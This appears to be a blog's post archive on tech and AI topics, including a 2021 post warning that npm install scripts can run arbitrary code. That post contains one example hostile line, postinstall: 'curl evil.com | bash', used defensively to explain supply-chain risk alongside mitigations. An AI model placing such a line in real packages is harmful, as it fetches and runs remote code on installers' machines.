Tao Bojlén

I don't enjoy the Internet any more

Mon, 17 Aug 2026 00:00:00 GMT

I grew up on the Internet. I spent a significant proportion of my childhood, and later my adult life, on message boards, blogs, social networks, chatrooms, and other online communities. I made friends, found jobs, and was exposed to so many new concepts thanks to the Internet. Many of my core beliefs were sharpened by ideas and discussions I followed online. It's been a huge part of my life.

But today, the joy is largely gone. This wasn't a sudden change: my experience with the Internet has been getting worse over many years. As it became increasingly monetized, thoughtful knowledge sharing and new ideas started being replaced by an ever-growing volume of attention-seeking, low-quality content. And today, largely thanks to LLMs, the ratio is so skewed that it doesn't feel worth it.

I'm reminded of the video game Disco Elysium (spoilers ahead). In the game, the world is made up of distinct regions called isolas, separated by a nothingness called the pale. The pale is a gradually growing area that degrades information. Venture far enough into it and you'll be left with a damaged mind. The pale covers most of the world, and some believe that it'll continue to expand until it envelops everything. This sounds a lot like AI-generated content! On the Internet, we still have a few isolas here and there, but the pale is growing faster than we can handle.

I’ve occasionally managed to find isolas of interesting people on social media like Bluesky, but I’m increasingly skeptical of short-form content. Learning about the world through 500-character snippets, or 30-second videos, is not a serious way to engage with knowledge. It triggers our worst instincts in terms of tribalism and groupthink and makes us intellectually lazy. This is true of short-form content whether you're experiencing it on Instagram, TikTok, X, Mastodon, or something else.

Longer-form content like blogs isn't safe, either. I've stopped reading Hacker News because too many stories on the front page are clearly written by an LLM. The writing is bad, and while there might be an interesting idea in there, it's equally likely to be empty filler content. The effort of writing an article used to indicate that the author felt they had something worth saying. That's no longer true. If the author couldn't be bothered to write it, why should I bother reading it?

The final nail in the coffin was work. It's incredibly hard to get to know the people you're working with when everyone is slinging LLM outputs to each other. And this isn't some anti-AI screed -- I'm all-in on agentic software engineering! My issue is with communication more broadly. When you have no sense of what your coworkers believe, or how they think, all the joy and connection of collaboration disappears. I hope that we'll collectively decide that it's rude to pass off LLM writing as your own, but I wouldn't bet on it.

The incentives on the Internet have been skewed for a long time, but there were always isolas of lovely people and high-quality thinking. These isolas are now much harder to find in the pale of slop, and I don't see a way back.

The forge we deserve

Sat, 09 May 2026 00:00:00 GMT

GitHub is having a tough time. Their uptime (or rather, lack thereof) has become a meme, they're facing exponential usage growth thanks to AI, and now high-profile projects like Ghostty are moving away. Developers are starting to discuss what they want from an alternative.

I'm thankful for GitHub, but it's clear which way the winds are blowing. I hope they can fix their stability issues, but this is also an opportunity for the open-source world to try something new. So, what's next? There are a lot of Git forges out there. Some, like Forgejo, are pretty good. It's reasonable to predict that many people will move to these, and the ecosystem will become more fragmented.

There are benefits to centralization, and losing these could be painful. I love that most dev tools I use have a GitHub integration, and there's almost no friction when I want to open an issue in a GitHub project.

This will not be the case in a world of many distinct gitlab.foo.com and forgejo.bar.com instances. Or perhaps everyone moves to some hot-new-AI-first-forge, and then we go through the same cycle of enshittification in 10-20 years.

But we don't have to live like this. Armin Ronacher puts it well: it should be harder for one company's drift to become a cultural crisis for everyone else.

I think we already have a promising path ahead: a Git forge built on an open, interoperable protocol.

Specifically, today, this is Tangled. It's built on the AT Protocol. The details are a little nerdy (I recommend this explainer if you're interested) but here are the important parts:

Your data (e.g. your repos, the issues you open, the PR comments you write) live on a server you can self-host (or you can use a public, shared server).
A centralized app (like tangled.org itself) aggregates everyone's data in one place.
It's all open-source, so if the Tangled devs start veering off course, we can fork it.

In other words: we get the benefits of a centralized service, and the benefits that come from owning our own data. You don't need a million logins and you can still search everyone's repos from a single search bar, but you also don't have to entrust the Tangled people with eternal stewardship of your code.

The best part of this, in my eyes, is that it is structurally resistant to the lock-in that's burning us with GitHub. Anyone can run their own Tangled fork, should they wish to. As long as the fork remains compatible with the Tangled schema (called a lexicon in ATProto parlance), then it doesn't matter whether someone reads their profile from tangled.org or tangled-but-better.org or even tangled-but-with-some-crazy-different-ui-and-features.com. A good, early example of this openness is Mitchell Hashimoto's tack -- it lets you use other CI providers within Tangled if you don't like their native Nix-flavored thing.

I want Tangled to do well. Today, it's alpha software, so some things are rough around the edges -- but it's definitely usable for open-source work. They've raised a seed round, natively support jujutsu and stacked PRs, and just introduced an interesting web of trust implementation.

From what I've seen, it's the only forge doing something fundamentally different to GitHub. The next forge should be a step up, not sideways. I'm starting all my new projects on Tangled, and I encourage you to try it.

Announcing: Parrot.garden

Sun, 22 Mar 2026 00:00:00 GMT

I just-one-more-prompt'ed myself into a new project over the weekend.

Introducing parrot.garden, a small tool for indie web authors. Post to your own RSS feed, and the parrots will repeat your stuff to Bluesky and Mastodon. I'm using it to cross-post my notes and blog posts from this website to social media.

This is the POSSE model: Publish on your Own Site, Syndicate Elsewhere. Parrot.garden is free to use forever, for everyone: I did the math and it costs me about $0.02 per feed per year, if I even manage to exceed Cloudflare's free tier. No need to self-host anything. It's also open source, in case you want to read the vibe-engineered code.

Just one more prompt

Wed, 18 Mar 2026 00:00:00 GMT

I love coding with AI. I often have several parallel agents, across multiple projects, running off on various coding errands for me. Like Craig Mod, I'm software bonkers: I just can't stop building software.

But I'm noticing something. After a day of working with Claude, I don't feel the pleasant tiredness of a day's work done well. Instead, there's this jittery craving for more. It's the same unsatisfied (and unsatisfiable) hunger that I feel after doomscrolling social media. Just one more TikTok, my reward center demands. Just one more prompt!

I'm reminded of a scene in Seinfeld in which Kramer asks George if he ever yearns. George replies that no, he doesn't yearn, but he craves. He craves all the time! I think about this distinction often. In an ideal world, my work would be driven by yearning -- a deep longing to create something useful, beautiful, and right. But, increasingly, the dominant drive seems to be craving -- a craving for the next bug fixed, the next problem solved, the next small dopamine hit of a subtask completed. Yearning has a long time horizon, orienting you towards something that you sense is deeper than you can quite fathom. Craving is immediate, targeted towards some discrete unit, and can never really be fulfilled. I have always found coding addictive. But agentic engineering is making the dopamine so readily available that it's dangerously exhilarating.

For some engineers, agentic engineering has freed them up from the drudgery of writing boilerplate code, dependency updates, repetitive tests, and allowed them to focus on the fun, creative parts. I feel this too! But when even the creative parts are mediated through the same loop, they take on the same craving shape. The fast prompt-response cycle with an eager helper catering to your every whim is the root of the problem -- whether you're using it for drudgery or for creative tasks.

We're already seeing the most AI-pilled engineers report high levels of fatigue and "AI brain fry." Our brains cannot keep up. I think that we're going to see more and more scenes of engineers doomscrolling while their agents work. Not because those engineers are dumb, or lack self-control, but because agentic coding and doomscrolling share the same highly addictive pattern. You scroll, or write a prompt, and there's a decent chance your brain gets rewarded with a good Reel or a solved bug! You're pulling the slot machine lever, over and over. In an environment flooded with cheap dopamine, in and outside work, it's only going to get harder to resist it.

Our curiosity, our ability to go deep, and to do unpleasant-but-ultimately-rewarding things will be challenged every day. Some already argue that the ability to concentrate and do deep work will be a career superpower in the future. That may well be the case. But, more importantly, holding on to our capacity for effort is going to be crucial not only for employability, but for a rich life.

New Notes RSS feed

Fri, 13 Mar 2026 00:00:00 GMT

Hello, dear RSS subscriber,

I've added a new RSS feed for short notes, passing thoughts, and interesting links worth sharing. To avoid spamming you, this main feed will contain only my own blog posts going forward. No more link posts here!

If you're interested in this new feed, it's available here.

- Tao

The Normie Loop

Wed, 11 Mar 2026 00:00:00 GMT

I'm a heavy AI user these days -- most of my commits are co-authored with Claude. My output is much higher than it would be otherwise, and I'm having more fun.

Yet in my experience, it doesn't pay off to follow the bleeding edge of agentic engineering. I don't doubt that some people get value from Ralph loops or Superpowers, but I can't help but notice the parallels to productivity influencers who treat optimizing your system as an end in itself.

This isn't to say that there isn't a lot to learn at the bleeding edge! But it is, by its nature, highly experimental and a lot of the methods won't stick. We can be thankful to the people writing speculative fiction like Gas Town, but most of us don't need to think about it in our day-to-day.

For most engineers, I recommend the Normie Loop: use Claude Code or Codex or Conductor or whatever, learn to use it well, and talk to the model to steer it as needed. As these tools evolve in response to emerging (but validated) best practices, continue to evolve with them. This is where you get the best ROI.

The most useful (and measured) resource I've seen so far is Simon Willison's Agentic Engineering Patterns project.

Everything changes, and nothing changes

Sat, 28 Feb 2026 00:00:00 GMT

It's a strange time to be a software engineer. We're speedrunning a technical revolution that transforms our industry from one of craftsmanship to mass production and cheap code. This is painful to those who, like me, identified with the art and elegance of programming, and now have to reckon with the fact that we're no longer artists but just people who type for money.

I'm sympathetic to those who initially rejected the usefulness of LLMs, citing hallucinations and so on, but at some point over the last year it became absurd to hold on to this claim. Today it seems like willful ignorance to reject a future where AI writes 90-100% of the code.

Indeed, at the leading AI labs, some engineers no longer write any code themselves. Startups and eventually enterprises are following suit. If your daily routine as a SWE doesn't already look vastly different than it did in 2022, it soon will. Yet in spite of these rapid changes, I've found some relief in the fact that many of the fundamentals are staying the same, at least for now.

Software engineering has always really been about outcomes, not code. This is why strong engineers spend much of their time thinking about productivity and team coordination. We're fortunate, because the principles and tools that make a team operate fast also tend to make coding agents work better: small, stacked diffs? Works great for human understanding and also for swarms of agents making concurrent changes. Continuous deployment, automated testing, and easy rollbacks? Already a good idea, and even better when you're shipping more code than ever before.

What makes a good software engineer? I think a lot of it comes down to taste and intuition (often built up through years of experience). This will remain true, though this intuition increasingly operates at the level of architecture rather than individual lines of code. Junior engineers now have to start developing this architectural taste immediately out of the gate, largely sidestepping the need for code-taste. Frontier models are writing ever-cleaner code, especially when paired with a good AGENTS.md to guide them. But they continue to fall short when it comes to understanding and really engaging with the constraints (both social and technical) that define much of our jobs.

I've been telling myself that this is enough; that my identity as a builder can remain intact. In the short-to-medium term (<5 years), I'm pretty confident that these principles will hold true. Beyond that, I'm less sure. LLMs can, in theory, automate anything that can be expressed symbolically, and I think that engineering principles, and even taste, can be.

Adam Leventhal and Simon Willison coined the term Deep Blue for the pervasive feeling of dread that many software engineers are sitting with these days. I have days where I feel this deeply. But on other days, when I really lean into this new way of building, it's hard not to get caught up in the sheer joy of the insanely fast feedback loop and the feeling of expansiveness you get when you're orchestrating concurrent agents all building towards something new at once.

Not everyone will enjoy this kind of work, and many engineers (especially earlier in their careers) won't have the experience and professional networks that can cushion the tumult. We're all living through the creative destruction. There's real excitement, but also grief -- and it can be painful to hold both at once.

Introducing RSS-O-Matic

Wed, 25 Feb 2026 00:00:00 GMT

I love RSS feeds, but more and more often I come across blogs that don't offer one. Rather than go all old-man-yells-at-cloud about it, I built a small tool that gives me all the RSS feeds my heart desires.

It's called RSS-O-Matic and you can try it out right now. It uses LLMs to generate a feed for any blog/news site that doesn't already have one. It was very fun to build with Claude!

Specifically, the LLM will generate the CSS selectors that we can use to extract the posts/articles from a website. So it only needs to run once, and we can cheaply generate the feed with no further LLM calls (at least until the page changes its design)!

Try it out, and let me know what you think!

On Burnout

Fri, 16 Jan 2026 00:00:00 GMT

It's been four months since I left my job at a startup. I say "left", but it was somewhat involuntary: I had worn myself down so much that I couldn't continue.

In hindsight, my approach to work looks more like an addiction. The first sign was when, after a long day at an offsite, a colleague asked me about my interests outside of work and I didn't have a response. A later, more severe sign was when my sister shared that she felt like she was losing me to my job. I responded by making zero behavioral changes. I had a nervous breakdown in a French château during a company offsite. In the last months before I hit my breaking point, I kept catching persistent colds and was constantly sick. I started smoking because doing something that felt mildly self-destructive helped me cope.

For the first month or two of unemployment, I didn't know how to stop working. I immediately started a new side project and continued as if I was in full-time employment. Once I realized that I wasn't enjoying it, I instead started planning my next steps. I'd get excited about various startups and business ideas, going so far as talking to VCs and setting up interviews. I quickly realized that it was far too early and had to embarrassingly retreat.

Now, it can still be difficult to give myself space to rest. I had forgotten how to, and I'm still learning. The most exciting part has been rediscovering interests like video games and reading fiction, both of which still feel self-indulgent.

My love for technology, and my desire to build things, are harder to access but still show up occasionally -- often after too many cups of coffee. It lasts about as long as the caffeine high. On several occasions I've become enthusiastic about a new idea and started building, but the excitement only lasts an hour. Then, I notice the familiar feeling of tension and spiking cortisol. An hour of work is repaid with an entire day of lethargy and low mood.

I've heard that burnout occurs when you have ambition without control. That's certainly true, and I agree that burnout is largely a structural problem -- an avoidable workplace injury. But our own choices factor in: perhaps some people are predisposed to workaholism, and so choosing to stay in a demanding but low-agency role is a bit like an alcoholic choosing to work in a distillery.

Burnout isn't something you can just push through. It's more like debt: you're borrowing against a future you'll eventually have to repay. If you ignore it long enough, then the debt compounds so much that repaying it is its own project. As much as I loved the job that caused my burnout, my biggest regret is not realizing sooner how deep I had gotten.

How to get hired at a startup

Sun, 23 Nov 2025 00:00:00 GMT

Our industry is in a weird place right now. Social media is full of software engineers sharing their struggles getting hired (or even getting an interview). There are reports of excellent engineers struggling to find a new role for six months or more. At the same time, employers are lamenting the dearth of talented candidates. It seems that hiring has gotten harder for them, too.

How can these two things be happening at the same time? People often point to macro factors like AI. After spending a lot of time on hiring, I have an additional hypothesis: most inbound job applications are not very good. Many applications misunderstand what startups look for.

The good news for candidates is that even though a startup might get tens or hundreds of applications a day, it's not hard to stand out. I spend far longer considering candidates who follow these simple steps.

1. Be a real person

If you're a real, authentic human applying to a tech company, then good job: you already have a leg up on a lot of the competition.

Companies (ranging from startups to Fortune 500s) receive masses of applications from fake remote workers. If hired, these workers funnel wages to illicit operations, including North Korea. We saw a lot of this at Cinder and wrote about our experience.

In addition, a significant portion of inbound applications are from real people, but are generic. Many job sites make it easy for applicants to apply with a single click, which leads to large volumes of poor-quality applications that employers have to sift through.

The lesson here is that employers have to deal with an awful lot of noise in their applicant pool. It doesn't take much to give them some real signal.

2. Write a real cover letter

The cover letter is the single best place to make yourself memorable. Don't squander it.

There are two major points here: first, if an application form asks for a cover letter, write one! Don't just upload your CV again. Many applicants do this, but it makes them look lazy and uninterested in the role.

Secondly, don't write a generic cover letter that regurgitates your CV. The cover letter isn't a box to check, but a chance to tell the company why you're applying. What motivates you? What kind of work are you drawn to? Why do you want to work for this specific company? If your cover letter only repeats what's in your CV, then you're wasting the reader's time.

At a startup, every hire has a significant impact on the culture. It's also hard work. If you can't answer these questions, you might prefer a more structured environment than a startup (and that's fine)!

3. Write for humans

A lot of traditional CV and cover letter advice encourages an overly professional tone. I disagree! Take this made-up example:

I am writing to express my interest in the Software Engineer position. I have experience building reliable, scalable systems, collaborating effectively with cross-functional teams, and delivering high-quality code in fast-paced environments. I am confident my skills and professional approach would allow me to contribute quickly and effectively to your engineering team.

My eyes glaze over reading it. It's full of clichés, isn't tailored to the role, and doesn't tell me anything about the author. No one actually writes like this, yet the vast majority of cover letters still do.

Here's another example, but far more effective:

Hello! I came across your company via a Reddit thread on durable execution. I wish we'd had this kind of tooling when I worked at FooCorp; it sounds like you're solving some real problems!

I'm a software engineer with a background in fintech. I value simplicity, reliability, and ownership, and I can talk at length about distributed systems. The product you're building aligns closely with the kind of engineering I care about: reducing accidental complexity and giving teams better primitives for complex workflows.

This is far better. It's professional but not weirdly formal, it gives a real sense of who the author is, and it's clear that they are actually interested in the company. Sincerity is more striking than perfection. You can keep it quite minimal; your only goal is to make the hiring manager want to talk to you.

4. Use AI sensibly

Don't use AI to write your CV or cover letter. Even if it looks superficially good, you often end up with writing that sounds exactly like every other LLM-written application. They also tend to lie: I've seen many AI-written CVs with details that are clearly made-up.

However, AI shines for proofreading and general feedback. It's a good idea to upload your CV/cover letter and ask an LLM if it's easy to read, has typos, or emphasises the right things. Just be aware that LLMs might try to make your application overly formal, because they're trained on outdated corporate advice.

If there's one thing to take away, it's that most inbound applications are noise. If you write clearly and show genuine interest, you can easily end up in the top tier of applicants.

The AI Outrage Machine

Thu, 23 Oct 2025 00:00:00 GMT

A few weeks ago outrage gathered around an "AI actress" called Tilly Norwood, an avatar being pitched to talent agencies as the future of acting. The character was created by Particle6, a UK production company, and everyone hated it.

The extensive media coverage, endless think pieces, and condemnations from unions were all predictable. The outcry was far louder and more impactful than its object.

We've been through the same cycle before with the fictional CGI influencer Lil Miquela. The account gained millions of followers in 2016. After the initial hubbub died down, every few years Miquela's writers would manufacture some new controversial storyline, such as claims of assault or severe illness. The details don't actually matter, as long as it gets attention.

This seems to be the case with Tilly Norwood, too. The thought that computers will replace actors and artists scares us so we angrily post about it. But if you look at Particle6's output, you'll be struck by just how bad it is -- they're clearly overselling their product! The longest video on their YouTube channel is a painfully unfunny, incoherent, AI-generated sketch. Anyone could make the same video using commodity AI tools. Someone with a modicum of taste could make a significantly better one.

Outrage is a great carrier for attention. The savvy will use this to their advantage, like Friend, who put up provocative ads for their AI microphone pendant: everyone who vandalized these ads inadvertently became a part of the marketing campaign. The less savvy, like Particle6, unwittingly stumble into the same funnel.

So, when the next AI band or AI actress or AI politician is announced: it's probably crap, and will only go as far as you let it. Block and move on.

Chesterton's Fence is no more

Mon, 13 Oct 2025 00:00:00 GMT

Chesterton's fence is a useful principle in software engineering (and in life): do not remove a fence until you know why it was put there in the first place. For software engineers, that means a behaviour or a line of code probably exists for a reason; remove it and you may trigger trouble.

Over time, I drilled this principle into my head. I assume that my colleagues are smart and write sensible code. I avoid changing code I do not fully understand. That habit has spared me production incidents. But now, AI-generated code is invalidating this lesson.

I was recently reading code like this:

import redis
import time

r = redis.Redis.from_url("redis://localhost:6379/0")

def get_foo():
  return _with_retry(lambda: r.get("foo"))

def _with_retry(
    fn,
    *,
    retries=5,
    base_delay=0.05,
    exc=(redis.ConnectionError,),
):
    for i in range(retries):
        try:
            return fn()
        except exc as e:
            if i == retries - 1:
                raise
            time.sleep(base_delay * (2 ** i))

In the past I might have assumed that the backoff was added after a bug or an incident. That is no longer a safe assumption. In this case, an LLM wrote the code and over-engineered a simple call.

Rather than working with smart and sensible coworkers, we're now working with smart and sensible human coworkers -- and thousands of very dumb, over-eager AI coworkers who have a tendency to lie. A given line of code might be crucial to our system's reliability, or it might be unnecessary bunk.

So what's the path forward? I want to say that it's on us humans to enforce a high quality bar and keep AI slop out of our codebases. This is wishful thinking -- many teams are pushed to favor speed and volume over craft.

Instead, tests matter even more. They are the spec that encodes how the system should behave. We should assume that a behavior without tests is unnecessary and can be safely removed. Put more care into tests, and you buy the freedom to set your dumb but productive AI coworkers loose on the rest of your codebase.

The best productivity system that's ever existed

Thu, 13 Mar 2025 00:00:00 GMT

Over the years I've tried all sorts of to-do apps, productivity systems, and task management tools. But I keep coming back to one approach that's unbeatable in its simplicity: a single, prioritized, list of checkboxes.

To make this work, there are a few requirements:

{/* prettier-ignore */}

1. You have to be able to nest to-do items arbitrarily, 2. Notes (without checkboxes) can intermingle with the tasks, and 3. It must be easy to re-order items using keyboard shortcuts or by dragging.

So, for example, on a given day my list might look like this:

{/* prettier-ignore */}

- [x] Set up recurring Platform team meeting - Later in the week, in the AM, is best - [ ] Prepare for incident postmortem - [ ] Implement notifications feature - [x] MVP - Requirements: [link to ticket or doc] - PR: [link to GitHub PR] - [ ] Make it look good

This is usually followed by a long list of additional tasks I'm tracking -- less urgent, but things I still want to get to eventually. I constantly reorder tasks throughout the week as priorities shift.

This method works well because it's easy to get an overview and the order tells me what to work on next. It also feels very easy to add even the tiniest things as bullet points. In every other system I've tried, it feels like too much work to add sub-bullets or notes to a task -- and they tend to get lost in the UI.

If you want to get fancy, you can add a "Someday" heading further down to track more vague ideas that you might eventually pull into the main list.

The specific tool you use doesn't matter, as long as it meets the requirements above. I use Obsidian with the Outliner plugin, but you can probably use Notion or whatever as well.

Column- and row-oriented databases

Sun, 02 Jul 2023 00:00:00 GMT

The relational databases that many software engineers are most familiar with, e.g. Postgres or MySQL, are row-oriented: they store data row-by-row. For a given row, its columns are stored next to each other on disk. This means that fetching all the data from a row is fast.

visit_id	ip	duration	browser
1	1.2.3.4	100	chrome
2	2.3.4.5	5	firefox
3	3.4.5.6	30	firefox

However, for some queries over very large data sets, this can become inefficient. Say that you have a table of visits to your website, and you want to find the average time spent per session. If you're dealing with billions of rows, row-oriented databases need to do a lot of work: the storage engine needs to perform many disk I/O operations to read data from the rows, even if it only needs to read a few columns from each.

Column-oriented databases like Clickhouse or InfluxDB lay out data in a different way, such that all the values for a given column are contiguous on disk. This means that analytical queries and aggregations have to jump around the disk far less.

visit_id	1	2	3
ip	1.2.3.4	2.3.4.5	3.4.5.6
duration	100	5	30
browser	chrome	firefox	firefox

Because columns often contain many repeated instances of the same value, there are also opportunities for compressing the data in each column to use less disk space.

As always, there are tradeoffs: writes (i.e. creates, updates, and deletes) are generally slower for columnar databases, and more work is needed to fetch the data from a single row.

Bloom filters

Sat, 01 Jul 2023 00:00:00 GMT

Bloom filters are a data structure that can quickly answer whether an element is a member of a set. Because they are probabilistic, they tell you whether an element is maybe in a set, or definitely not in a set.

At their core, Bloom filters work by hashing elements and storing these hashes. Because hash functions map a large input space to a fixed-size output space, the set of hashes is much smaller than if you stored the original, unhashed elements. In practice, Bloom filters use several hash functions to make false positives less likely.

This data structure has many use cases, including:

In some key-value stores like Cassandra or ScyllaDB, trying to read a nonexistent value requires slow disk reads. Both of these use Bloom filters to make this fast.
Firefox uses Bloom filters to prevent malicious add-ons from running.
CDNs may use Bloom filters to see if a URL has been visited before, which helps decide whether to cache it or not.
The blogging site Medium uses Bloom filters to ensure that they don't recommend articles that a user has already read.

Don't filter in Django's qet_queryset

Thu, 19 Jan 2023 00:00:00 GMT

In Django models, it's easy to customize the queryset that's returned by a model manager. Say that you're working on a blog, and you have a model that looks something like this:

class Post(models.Model):
    content = models.TextField()
    created_at = models.DateTimeField(auto_now_add=True)

You might decide that you always want to return blog posts sorted by most recent. You can use a custom model manager such that Post.objects.all() will always include this ordering by default:

class PostManager(models.Manager):
    def get_queryset(self):
        return super().get_queryset().order_by("-created_at")

class Post(models.Model):
    objects = PostManager()

    ...

However, overriding get_queryset() also makes it easy to shoot yourself in the foot. Perhaps you implement the ability to archive old posts, and you then figure that you'll make your code a bit cleaner by only returning those by default:

class PostManager(models.Manager):
    def get_queryset(self):
        return super().get_queryset()
            .filter(archived=False)
            .order_by("-created_at")

class Post(models.Model):
    objects = PostManager()
    unscoped = models.Manager()

    archived = models.BooleanField(default=False)
    ...

Unfortunately, this just made it easy to introduce bugs in the future! Now, whenever a developer is working with the Post model, they need to remember to handle two cases: archived posts and un-archived posts.

Say that a year down the line, you need to write a data migration that converts the content of your blog posts from Markdown to HTML. An engineer might write something like:

for post in Post.objects.all():
    post.convert_to_html()

This looks fine on the surface, but it will leave all archived posts un-converted. And worse, you'll only catch this if you remember to test the code with both archived and non-archived posts, or if you remember to use the unscoped model manager.

A good principle is to minimize the number of unusual behaviours that developers need to keep in mind. Custom scopes do the opposite, and add a lot of risk for little payoff.

"The right tool for the job"

Sun, 09 Jan 2022 00:00:00 GMT

I've been thinking a lot about engineering values and principles lately, and one that keeps popping up is "use the right tool for the job". I don't think it's a very good principle.

I have a theory that when it comes to forming an engineering culture in a team, a good principle requires some level of controversy. Otherwise, it's too banal. If you got on your soapbox and started preaching about "using the right tool for the job", I doubt you'd find a single person who disagreed with you. That's because it's essentially meaningless, and the right tool is wholly dependent on other factors. No one who reads it is any the wiser about how you approach engineering problems.

Your engineering principles should say something. Everyone thinks that you should use the right tool for the job, but what that means varies greatly.

npm install is curl | bash

Thu, 09 Sep 2021 00:00:00 GMT

Today, GitHub published a write-up on a number of CVEs[^1] in the npm packages tar and @npmcli/arborist. In their own words,

The npm CLI aims to enforce certain security boundaries on package installation. One of these boundaries is that a package’s contents will only be written to the appropriate folder within the node_modules directory hierarchy. Several of the tar and @npmcli/arborist vulnerabilities will cross that security boundary and may result in unexpected arbitrary file overwrites and subsequent code execution when installing untrusted packages.

This sounds pretty scary: "arbitrary file overwrites and subsequent code execution" is the kind of phrase that you don't want to see in a CVE description. The problem is that by default, npm allows this to happen anyway.

postinstall: "curl evil.com | bash"

npm (and yarn) will execute arbitrary code when you install a package via install scripts. A valid use-case is to build native code on installation, or do some other environment-specific setup, though these scripts have also been used to show ads and, of course, as an attack vector. In fact, install scripts were the most popular route for malware as of 2019[^2].

Installing a single malicious package is enough to get reasonably pwned. The risk is mitigated by npm’s moderation of the registry — they’re quick to remove malware once discovered. This works pretty well, though I worry about the day someone uses this to publish a self-replicating worm.

This attack vector isn’t unique to npm. Other package managers like pip and RubyGems allow for the same thing. As developers, we’re not as cautious when installing packages from these registries as when we use curl | bash, though we should be[^3].

Mitigations

When installing an untrusted package, run npm install or yarn add with the --ignore-scripts flag. If, like me, you tend to forget this, you can set npm/yarn to never run scripts with {npm,yarn} config set ignore-scripts true.

I also recommend inspecting the source code of a package before you install it. I like to use xray.computer for this, because I made it.

And, of course, update your npm CLI to fix the CVEs that let packages bypass this setting.

[^1]: Specifically, CVE-2021-32803, CVE-2021-32804, CVE-2021-37701, CVE-2021-37712, CVE-2021-37713, CVE-2021-39134, and CVE-2021-39135.

[^2]: No more recent data is available, and work on npm’s Security Insights API/malware database seems to have stalled.

[^3]: You do get the added security feature of integrity checking when installing via a package manager as opposed to curl | bash. This prevents e.g. MITM attacks, but don’t forget that packages in open-source registries are mostly trash, with the occasional piece of malware or genuinely useful code floating around.

A web of trust for npm

Fri, 02 Oct 2020 00:00:00 GMT

In 1984 the co-inventor of Unix, Ken Thompson, delivered a seminal speech in which he highlighted that you can't trust code that you did not totally create yourself [^1]. For a while, this lesson was largely ignored as open-source package registries like RubyGems, PyPI and npm grew rapidly. However, as we're seeing more and more supply-chain attacks through software dependencies, the risks of using unvetted dependencies are becoming clearer.

The risks are particularly great for JavaScript applications. Veracode found that the average JavaScript project relies on 377 dependencies -- compared with just 16 for Python projects, or 43 in the Java ecosystem[^2]. Whenever a developer pulls in a new dependency, they are implicitly trusting the maintainers of that dependency. Often, this trust is awarded on the basis of popularity -- we assume that a popular library will be more carefully vetted, or that since many others trust the maintainers, we can too. Other times, this trust relationship and the risks involved are not considered at all.

Some have argued that the ill health of the npm registry is a social, rather than a technical problem, and suggest a human-compiled set of packages in order to separate the wheat of maintained, healthy packages from the chaff of abandoned toy projects with no documentation. Another suggestion from the Rust world involves creating a manual web of trust from maintainers cryptographically signing each other's projects. Either way, there are challenges: webs of trust have rarely taken off (outside of Debian), and compiling a vetted set of packages from scratch is a massive undertaking. I propose something in the middle: bootstrapping a web of trust using existing npm dependency relationships, and building from that foundation.

Existing trust relationships in npm

Creating a web of trust from existing npm dependencies is, admittedly, somewhat problematic. As stated earlier, choosing to use a particular dependency is not always a well-considered decision based on researching its code and maintainers, and the trust relationship is merely implied. Similarly, there is no cryptographic verification of this weak trust, nor does npm currently have the infrastructure for such tools[^3]. What I am suggesting is an imperfect starting point to demonstrate the need for, and potential of, stronger trust measures in open source.

To construct this initial web, we can model npm's maintainerships as a graph. If we let each node be a maintainer, then the edges between them are the trust relationship arising from using a dependency. In other words, if Alice maintains a package A, and A depends on package B maintained by Bob, then there is a directed edge from Alice to Bob. We can even weigh these edges by the number of Alice's packages in which she implies trust of Bob.

Exploring the graph

This simple model exhibits a power-law-like pattern in terms of trust: the vast majority of users are trusted by few or no others, and a very small number of users are highly trusted. This type of pattern is common in social networks: you see a similar thing emerge when plotting follower counts on Twitter. Such power laws often lead to a rich-get-richer feedback process in which the inequality (in terms of trust, in this case) gets more pronounced over time[^4].

Who are these highly-trusted users? They're who you'd expect: bots for large projects (e.g. types), corporate accounts (e.g. fb), and the maintainers of extremely popular open-source libraries (e.g. sindresorhus, who maintains e.g. string-length).

Perhaps more interestingly, this web of trust exhibits some useful structures. A number of strongly connected components emerge -- groups of users that, roughly speaking, all trust each other according to the web of trust principles (i.e. if I trust Alice, and Alice trusts Bob, then I trust Bob, too). All of these connected components are small, with the exception of a single one that's home to over 11,000 users[^5]. This core component -- we'll call it the strong set -- could provide a starting point for a measure of trust in the npm ecosystem.

Fun with PageRank

We can quantify trust in a slightly more nuanced way than simply looking at the in-degree of each npm user. The PageRank algorithm provides such a measure that takes into account the trustworthiness of the people who trust me. For example, I may only be trusted by one user, but if that user is isaacs (the creator of npm) then that trust relationship counts for a lot! After running PageRank, the 10 "most-trusted" users are:

types
sindresorhus
angular
m1tk4
tjholowaychuk
google-wombot
fb
isaacs
gaearon
yyx990803

Many of these are unsurprising. However, m1tk4 stands out: they only maintain two rarely-downloaded libraries. Because one of these libraries is used by the BBC, m1tk4 is implicitly trusted by a large number of relatively trustworthy BBC employees who maintain other, more popular projects. This demonstrates how PageRank diffuses trust across the social network of npm maintainers. In fact, m1tk4 is not a member of the strong set mentioned earlier -- but many of the users who trust them are. m1tk4 just doesn't trust those users back!

While PageRank gives a fun measure of trust, it's a very rough model for the reasons mentioned earlier: it's based on a pretty weak indication of real trust. However, it might be useful in detecting suspicious behaviours in npm, which is something we -- or registry maintainers -- need to do proactively if we want to stop supply-chain attacks. For example, it might be a red flag if a highly-trusted user suddenly starts using a library by someone with a PageRank-based-trust of close to 0. And regardless, the strong set comes merely from observing which dependencies people choose to use without applying any complex calculations.

How might we want to use the strong set to create a stricter trust (or reputation) system? I think that formalizing such a system is unlikely if it requires large-scale buy-in from npm users. Instead, we might create a simple wrapper for npm that checks if you're about to install something from a developer outside of the strong set, similar to Liran Tal's excellent npq. Or perhaps security researchers could use the npm web of trust as an additional data point when deciding whether a suspicious package warrants further investigation. Either way, the state of trust within the npm ecosystem is not great. This model gives us a starting point.

Do you think I've got it all wrong? Or do you have further suggestions on how we can improve the state of trust in open source? Get in touch.

A final note: this analysis is based on data from June 2020, which I collected for my Master's thesis. I believe you'd reach similar numbers if you ran the analysis on data from today.

Footnotes

[^1]: Reflections on trusting trust

[^2]: VeraCode's State of Software Security report

[^3]: Given what we know about the usability challenges of a cryptographic web of trust, I'm not too sure this is a realistic path forward, either.

[^4]: For a great book about social and technological networks, check out Networks, Crowds, and Markets: Reasoning About a Highly Connected World by Kleinberg and Easley.

[^5]: Only about 5% of npm users are part of a strongly connected component, whether it's big or small.

Literature review: Routing attacks on Tor

Wed, 12 Aug 2020 00:00:00 GMT

Routing attacks on Tor occur when an adversary attempts to influence the route a Tor circuit takes in order to improve their chances of intercepting traffic. In January of this year, I wrote a literature review on this topic that I'm sharing here: PDF link.

Abstract:

